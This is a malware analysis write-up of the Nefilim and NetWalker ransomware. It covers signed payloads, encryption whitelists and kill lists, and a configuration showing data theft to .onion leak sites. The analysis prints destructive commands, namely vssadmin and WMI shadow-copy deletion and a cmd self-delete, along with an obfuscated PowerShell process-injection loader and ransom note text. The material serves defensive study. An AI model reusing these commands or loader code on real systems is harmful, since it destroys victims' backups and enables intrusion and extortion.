

# Nefilim & Netwalker

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**Nefilim** (SECTION 1)

**NetWalker + Injection** (SECTION 2)

## Neflim (SECTION 1)

One of the reason neflim bypassed many endpoint security solutions is that it uses a signed payload.

```
+++++ X ++++++
[0054FA98]-> (null)
[0054FAAC]-> Sectigo RSA Code Signing CA
[0054FAB0]-> Inter Med Pty. Ltd.
[0054FA9C]-> (null)
[0054FAA0]-> (null)
[00352180]-> 39 f5 62 51 df 20 88 22 3c c0 34 94 08 4e 60 81

## FILE_TYPE => PE
+ i386 ...
+ EXE
+ Wed Mar 11 02:06:11 2020 CompileTime
+ 4
+ 0x400000 <- Base*
+ GUI
+ (32B)
+ 33280 <- CS
+ 0x1000 <- CoseBase*
*****
* .text:
* .text: {X}, {R},
* .rdata:
* .rdata: I, {R},
* .data:
* .data: I, {R}, {W},
```

Overall the payload is pretty efficient. It acts quickly to encrypt the disc. It creates a whitelist to make sure that the encryption process doesn't hit any decoy files/folders. Some endpoint solutions deploy or watch these folders. The payload uses some of the following strings.

*oh how i did it??? bypass sofos hah*

*fuk sosorin*

*fuk anlub*


*Den'gi plyvut v karmany rekoy. My khodim po krayu nozha... (I feel pain in somewhere in a pile, and the wounds in my heart cannot heal)*

*We walk on the edge of a knife*

Some of the strings are used as keys to decrypt parts of the ransom note.

The payload uses **Advapi32** so that it can use CryptAcquireContextA, CryptCreateHash etc and the function available as a resource named **SystemFunction036** in Advapi32.dll.

It doesn't use a lot of command line activity like other ransomware payloads. The basic flow is pretty straightforward.



```
e.01261B5B
push e.126CAF8 ; 126CAF8:"advapi32.dll"
call dword ptr ds:[<&LoadLibraryA>]
mov dword ptr ds:[126F980],eax
mov eax,dword ptr ds:[126F97C]
test eax,eax
jne e.1261B8A

e.01261B74
push e.126C808 ; 126C808:"SystemFunction036"
push dword ptr ds:[126F980]
call dword ptr ds:[&GetProcAddress>]
mov dword ptr ds:[126F97C],eax
```

payload.exe-1944 → cmd.exe-3716 → timeout.exe-3336



```
cmd.exe /c timeout /t 3 /nobreak && del "C:\Users\foo\Desktop\payload.exe" /s /f /q
```

Strings are passed to call shellExecute()

```
addx-4039fb(u" /c timeout /t 3 /nobreak && del \");  
addx-4039fb(u"\" /s /f /q");  
addx-402a91(u"\" /s /f /q");
```

And then passed as "ecx"

```
ShellExecute(0x0, 0x0, u"cmd.exe", ecx, 0x0, 0x0);
```

```
push    eax  
push    eax  
push    ecx  
push    aCmdexe  
push    eax  
push    eax  
call    dword [imp_ShellExecuteW]
```

### Nefilim starts looking for files by using

```
FindFirstFile(eax, struct WIN32_FIND_DATA);
```

It compares file path within the whiteList provided by the payload. This is done by using **lstrcmpi()**

```
push    aWindows    // Looking for the folder Windows  
push    eax  
call    esi         // Calls the string compare function  
test    eax, eax    // If equal use JE to jump to a function  
                        // lstrcmpi(&variabletocompare, u"windows");
```

## WhiteListed extensions

**lnk,exe,log,cab,cmd,com,cpl,exe,ini,dll,url,ttf,pif,mp3,mp4**

## WhiteListed files/folders

**windows, \$RECYCLE.BIN, NTDETECT.COM, ntldr, MSDOS.SYS, IO.SYS, boot.ini, AUTOEXEC.BAT, ntuser.dat, desktop.ini, CONFIG.SYS, RECYCLER, BOOTSECT.BAK, bootmgr, programdata, appdata, programfiles, programfiles(x86), microsoft, sophos**

```
e.01261635
push e.126C868 ; 126C868:L"windows"
lea eax,dword ptr ss:[esp+D0]
push eax
call esi
test eax,eax
je e.1261AE7

.0126164C
push e.126C878 ; 126C878:L"$RECYCLE.BIN"
lea eax,dword ptr ss:[esp+D0]
push eax
call esi
test eax,eax
je e.1261AE7

e.01261663
push e.126C894 ; 126C894:L"rsa"
lea eax,dword ptr ss:[esp+D0]
push eax
call esi
test eax,eax
je e.1261AE7

.0126167A
push e.126C89C ; 126C89C:L"NTDETECT.COM"
lea eax,dword ptr ss:[esp+D0]
push eax
call esi
test eax,eax
je e.1261AE7
```

All files (minus the whitelisted files/folders) are encrypted with **NEFILIM** extension. **CreateFile()** is called to create a text file with a Ransomnote

```
push e.126C3B4 ; 126C3B4:L"NEFILIM-DECRYPT.TXT"
lea eax,dword ptr ss:[ebp+8]
lea ecx,dword ptr ss:[ebp-20]
call e.12628CB
cmp dword ptr ds:[eax+14],8
pop ecx
jb e.1261418

e.01261419
mov eax,dword ptr ds:[eax]

e.0126141B
push ebx
push esi
push edi
xor ebx,ebx
push ebx
push ebx
push 2
push ebx
push 40000000
push eax
call dword ptr ds:[<&CreateFilew>]
```





```

    qGDkNThnYgllXZ $upEcLTMCGhc $upEcLTMCGhc
$TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.SsheECGcrMBTG.hJuF $(ULhnbcyXER
LvVtGXUp $TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.KqELfIXPzsmD)
    }

    $rWd = RBeMnMHvnbNEob $upEcLTMCGhc $( ULhnbcyXERLvVtGXUp
( $TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.UJXRvKZSoPevE
dqjjiTT ))
    $ejxPJM = lrcTwTXsUgcNNyNUH @([System.IntPtr],[UInt32],[System.IntPtr])
([bool])

$EUQ = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( $rWd, $ejxPJM )
    $EUQ.Invoke( 0, 0, 0 ) | Out-Null
    }
}

```

```

Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();} | Out-Null

```

```

[DllImport("kernel32.dll",SetLastError = true, EntryPoint = "VirtualAlloc")]
public static extern IntPtr lsJtHM(IntPtr Bol,UIntPtr HMPMFvJgstQY,UInt32
vgOWJORGpiclb,UInt32 hkGugwGTQZvvNc);

```

```

[DllImport("kernel32.dll",SetLastError = true,EntryPoint = "GetProcAddress")]
public static extern IntPtr prINVMFazIdTgzP(IntPtr ifSw,string Opk);

```

```

[DllImport("kernel32.dll",EntryPoint = "CreateRemoteThread")]
[DllImport("kernel32.dll",SetLastError = true, EntryPoint = "VirtualAlloc")]
public static extern IntPtr lsJtHM(IntPtr Bol,UIntPtr HMPMFvJgstQY,UInt32
vgOWJORGpiclb,UInt32 hkGugwGTQZvvNc);

```



The decoded payload is a DLL with a modified PE header due to which, Virustotal considers this file type as “Unknown”

```

00000000: adde 9000 0300 0000 0400 0000 ffff 0000 .....
00000010: b800 0000 0000 0000 4000 0000 0000 0000 .....@.....
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 .....
00000030: 0000 0000 0000 0000 0000 0000 b800 0000 .....
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 .....!.L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno
00000060: 7420 6265 2072 756e 2069 6e20 444f 5320 t be run in DOS
00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000 mode...$.
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 .....
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 .....
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 .....

00001057 db "ram cannot be run in DOS mode.\r\r\n$", 0

ADDE9000 03000000 04000000 FFFF0000 B8000000 00000000 40000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 B8000000 0E1FBA0E 00B409CD 21B8014C CD215468 69732070 726F6772 616D2063 616E6E6F 74206265 2072756E
20696E20 444F5320 6D6F6465 2E0D0D0A 24000000 00000000 00000000 00000000 50450000 4C010500 5A34AD5E 00000000 000000221
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 E0000221
00010E10 00BC0000 00240000 00000000 00A00000 00100000 00D00000 00000010 00100000 00020000 06000000 00000000 05000000
00000000 00200100 00040000 00000000 02004005 00001000 00100000 00001000 00100000 00000000 10000000 00000000 00000000
00000000 00000000 00F00000 F8140000 00000000 00000000 00000000 00000000 00100100 6C040000 80D40000 30000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 2E746578 74000000 35BA0000 00100000 00BC0000 00040000 00000000 00000000 00000000
20000060 2E726461 74610000 40050000 00000000 00000000 00000000 00000000 00000000 00000000 40000040 2E646174 61000000
90020000 00E00000 00020000 00C60000 00000000 00000000 00000000 400000C0 2E727372 63000000 00200000 00F00000 00160000
00000000 00000000 00000000 40000040 2E72656C 6F630000 6C040000 00100100 00000000 00D00000 00000000 00000000 00000000
00000000 40000042 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

```

It then changes the incorrect value

```

4D5A9000 03000000 04000000 FFFF0000 B8000000 00000000 ADDE9000 03000000 04000000 FFFF0000
00000000 40000000 00000000 00000000 00000000 16 B8000000 00000000 40000000 00000000
00000000 00000000 00000000 00000000 00000000 32 00000000 00000000 00000000 00000000
B8000000 0E1FBA0E 00B409CD 21B8014C CD215468 48 00000000 00000000 00000000 B8000000
69732070 726F6772 616D2063 616E6E6F 74206265 64 0E1FBA0E 00B409CD 21B8014C CD215468
2072756E 20696E20 444F5320 6D6F6465 2E0D0D0A 80 69732070 726F6772 616D2063 616E6E6F
24000000 00000000 00000000 00000000 00000000 96 74206265 2072756E 20696E20 444F5320
00000000 00000000 00000000 00000000 00000000 11 6D6F6465 2E0D0D0A 24000000 00000000
00000000 00000000 00000000 00000000 00000000 2 00000000 00000000 00000000 00000000
00000000 50450000 4C010500 5A34AD5E 00000000 12 00000000 00000000 00000000 00000000
00000000 E0000221 00010E10 00BC0000 00240000 8 00000000 00000000 00000000 00000000
00000000 00A00000 00100000 00D00000 00000010 14 00000000 00000000 50450000 4C010500
00100000 00020000 06000000 00000000 05000000 3A34AD5E 00000000 00000000 E0000221

```

APIs & FUNCTIONS REQUIRED:

```

FunctionjGHCogMzZjQmJkXBjJ
FunctionRBeMnMHvnbNEob
FunctionULhnbcyXERLvVtGXUp
FunctionpmWsENpD
FunctionlrcTwTXsUgcNNyNUH
functionqGDkNThnYglXZ
functionUjSOlmVajpskSFV
functionozesOBwrUGaviaPvkV
$EUQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rWd,$eJxPJM)
FunctionjGHCogMzZjQmJkXBjJ
FunctionRBeMnMHvnbNEob
FunctionULhnbcyXERLvVtGXUp
FunctionpmWsENpD
FunctionlrcTwTXsUgcNNyNUH
functionqGDkNThnYglXZ
functionUjSOlmVajpskSFV
functionozesOBwrUGaviaPvkV
$EUQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rWd,$eJxPJM)

```





DQoNCjIuT3BlbiBvdXIgd2Vic2l0ZToge29uaW9uMX0NCklmIHRoZSB3ZWJzaXRIGlzIG5vdCBhd  
mFpbGFibGUsIG9wZW4gYW5vdGhldiBvbmU6IHRvbmVhbjJ9DQoNCjMuUHVhV0IHlvdXIgcGVyc29u  
YWwgY29kZSBpbjB0aGUgaW5wdXQgZm9ybToNCg0Ke2NvZGV9

```
, "white"
: { "path"
: [ "*system volume information"
, "*windows.old"
, ".*\users\.*\temp"
, "mp"
, ".*msocache"
, ".*\winnt"
, ".*$windows.~ws"
, ".*perflogs"
, ".*boot"
, ".*\windows"
, ".*\program file*\vmware"
, ".*\.*\users\.*\temp"
, "temp"
, ".*\.*\winnt"
, "nt"
, ".*\.*\windows"

```

**Netwalker, like nefilim contains a pre-defined whitelist. Unlike nefilim, it has a killList as well.**

```
xxx.012D3F27
push xxx.12E118C ; 12E118C:"kill"
push ebp
call xxx.12DC110
mov esi, eax
add esp, 8
test esi, esi
je xxx.12D3FFB
```

```
shell32.75966353
push shell32.7596627C ; 7596627C:L"killList"
push shell32.7596625C ; 7596625C:L"FileAssociation"
push 2
```

Netwalker contains configuration variables within the payload.

```
push xxx.93112C ; 93112C:"mode"
push ebp
mov esi, eax
call xxx.92C110
push xxx.931134 ; 931134:"spsz"
push ebp
mov ebx, eax
call xxx.92C110
push xxx.93114C ; 93114C:"thr"
push ebp
mov dword ptr ss:[esp+30], eax
call xxx.92C110
push xxx.93113C ; 93113C:"namesz"
push ebp
mov dword ptr ss:[esp+3C], eax
call xxx.92C110
push xxx.931144 ; 931144:"idsz"
push ebp
mov dword ptr ss:[esp+48], eax
call xxx.92C110
push xxx.931150 ; 931150:"onion"
push ebp
mov dword ptr ss:[esp+54], eax
call xxx.92C110
push xxx.931158 ; 931158:"onion"
push ebp
mov dword ptr ss:[esp+60], eax
call xxx.92C110
add esp, 40
mov dword ptr ss:[esp+24], eax
push xxx.931160 ; 931160:"lfile"
push ebp
call xxx.92C110
push xxx.931168 ; 931168:"lend"
push ebp
```

```
xxx.00923E7F
push xxx.931170 ; 931170:"white"
push ebp
call xxx.92C110
mov esi, eax
add esp, 8
test esi, esi
je xxx.924187

xxx.00923E97
push xxx.931180 ; 931180:"file"
push esi
call xxx.92C110
push xxx.931178 ; 931178:"path"
push esi
mov ebx, eax
call xxx.92C110
push xxx.931188 ; 931188:"ext"
push esi
mov edi, eax
call xxx.92C110
add esp, 18
mov esi, eax
test ebx, ebx
je xxx.924187
```

Let's dig in and find some of the configurations.

### **KILL\_LIST (IF PROCESS IS RUNNING => TERMINATE)**

#### **kill**

```
:{ "use
:true, "prc
:["nslsvce.exe
,"pg*
,"nsvservice.exe
,"cbvscserv*
,"ntrtscan.exe
,"cbservi*
,"hMailServer*
,"IBM*
,"bes10*
,"black*
,"apach*
,"bd2*
,"db*
,"ba*
,"be*
,"QB*
,"oracle*
,"wbengine*
,"vee*
,"postg*
,"sage*
,"sap*
,"b1*
,"fdlaunch*
,"msmdsrv*
,"report*
,"msdtssr*
,"coldfus*
,"cfdot*
,"swag*
,"swstru*
,"jetty.exe
,"wrsa.exe
```

### **WHITE\_LISTED\_PATH(S)**

#### **white**

```
:{ "path
:["*system volume information
,*windows.old
,*:\users\*\*temp
mp", "*msocache
,*:\winnt
,"*$windows.~ws
,*perflogs
,*boot
,*:\windows
```

```

";*\program file*\vmware
e";*\*\users\*\*temp
temp";*\*\winnt
nt";*\*\windows
ws";*\program file*\vmware
e";*\appdata*microsoft
;*\appdata*packages
;*\microsoft\provisioning
";*\dvd maker
;*\Internet Explorer
;*\Mozilla
;*\Mozilla*
;*\Old Firefox data
;*\program file*\windows media*
*";*\program file*\windows portable*
*";*\windows defender
;*\program file*\windows nt
t";*\program file*\windows photo*
*";*\program file*\windows side*
*";*\program file*\windowspowershell
l";*\program file*\cuass*
*";*\program file*\microsoft games
s";*\program file*\common files\system
em";*\program file*\common files\*shared
ed";*\program file*\common files\reference ass*
s*";*\windows\cache*
*";*\temporary internet*
;*\media player
;*\users\*\appdata\*\microsoft
soft";*\*\users\*\appdata\*\microsoft
rosoft";*\Program File\Cisco
o"]

```

## WHITE\_LISTED\_FILE(S) AND EXTENSIONS

### file

```

:["ntuser.dat*
;*\iconcache.db
;*\gdipfont*.dat
;*\ntuser.ini
;*\usrclass.dat
;*\usrclass.dat*
;*\boot.ini
;*\bootmgr
;*\bootnxt
;*\desktop.ini
;*\ntuser.dat
;*\autorun.inf
;*\ntldr
;*\thumbs.db
;*\bootsect.bak
;*\bootfont.bin
], "ext
:["msp
;*\exe
;*\sys
;*\msc

```

```
, "mod
, "clb
, "mui
, "regtrans-ms
, "theme
, "hta
, "shs
, "nomedia
, "diagpkg
, "cab
, "ics
, "msstyles
, "cur
, "drv
, "icns
, "diagcfg
, "dll
, "ocx
, "lnk
, "ico
, "idx
, "psl
, "mpa
, "cpl
, "icl
, "msu
, "msi
, "nls
, "scr
, "adv
, "386
, "com
, "hlp
, "rom
, "lock
, "386
, "wpx
, "ani
, "prf
, "rtp
, "ldf
, "key
, "diagcab
, "cmd
, "spl
, "deskthemepack
, "bat
, "themepack
```

Netwalker takes longer than nefilim to encrypt files as netwalker can exfiltrate files as well. It contains code path to data theft. **The adversaries can expose data if ransom demands are not met.**

```
pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdz3did.onion
rnfds6m6wb6j6su5txkek4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion
```

Netwalker can look for shares as well.

```
push wkscli.6B6A49E8 ; 6B6A49E8:L"\\IPC$"  
push esi  
push edi  
call <JMP.&wscat_5>
```

Right before encrypting the files, netwalker deletes the shadow copy

*C:\Windows\system32\vssadmin.exe delete shadows /all /quiet*

Once files are encrypted. Netwalker will create the following path with the ransom note.

**{id}**—55readabout.txt

Netwalker payload will decrypt the following base64 content and add it to the file

```
0KSMWgzM9yIHNvbwUgcmVhI3NVb1B5b3UgcmVhZCB0aGlZIHRRLeH0gYmVmb3JlIHROZSB1bmNyeSNwdGlvb1B1bmlRZCwNCnRoaXNgY2FuIGJlIHVuzGVyc30jb29KIj05IHRoZSBmYW90IHRoYXQgdGhLIjNvb  
XAJdXRlciBzbG93cyBkb3duLA0KYW5kIHlvdXIgaGVhcn0gcmF0ZSB0YXNgaw5jciNLYXNlZCBkdWUgdG8gdGhLIj05IHRoZSBmYW90IHRoYXQgdGhLIjNvb  
b3ZlIGF3YXkgZnJvbSB0aGUgY29tcHUjdGVyIGFuZCBhY2NlcH0gdGhhdCB5b3UgaGF2ZSB1ZWVuiGNvbXByI29taXNlZC4NCj05IHRoZSBmYW90IHRoYXQgdGhLIjNvb  
maWxlcYB3aXRob3V0IHRoZSB5b3NzI2IiawXpdHkgb2YgcmlvI292Z2J5JG0KQ0otLT09D0pPdXIGlGVuY3J5cH0jaW9uIGF5Z29yaXQjaG1zIGFyZSB2Z2J5IHN0cm9uZyBhbm0geW91 2  
*****  
[ Your files are encrypted.  
All encrypted files for this computer has extension: .{id}  
---  
If for some reason you read this text before the encryption ended,  
this can be understood by the fact that the computer slows down,  
and your heart rate has increased due to the ability to turn it off,  
then we recommend that you move away from the computer and accept that you have been compromised.  
Rebooting/shutdown will cause you to lose files without the possibility of recovery.  
---  
Our encryption algorithms are very strong and you ]
```